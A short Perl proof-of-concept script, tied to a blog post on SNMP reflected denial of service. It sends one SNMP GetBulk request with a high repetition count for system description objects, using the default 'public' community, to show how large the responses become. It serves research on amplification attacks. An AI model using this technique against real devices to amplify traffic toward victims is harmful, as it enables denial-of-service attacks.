#!/usr/bin/perl # Simple SNMP bulk request with large string responses # Written by Anestis Bechtsoudis # More info at SNMP RDoS blog post: # https://bechtsoudis.com/hacking/snmp-reflected-denial-of-service/ use strict; use warnings; use Net::SNMP; # SNMP Objects my @OID = ('1.3.6.1.2.1.1.1', #sysDescr '1.3.6.1.2.1.1.9.1.3', #sysORDescr ); # SNMP Session my ($session, $error) = Net::SNMP->session( -localaddr => shift || '10.0.1.11', -hostname => shift || '10.0.1.1', -community => shift || 'public', -version => shift || 'snmpv2c', ); # Print error if any if (!defined $session) { print "ERROR: $error\n"; exit 1; } # Send SNMP bulk request my $result = $session->get_bulk_request( -varbindlist => [@OID], -nonrepeaters => 1, -maxrepetitions => 70, ); # Check for errors if (!defined $result) { print "ERROR: ".$session->error()."\n"; $session->close(); exit 1; } # Close SNMP session $session->close();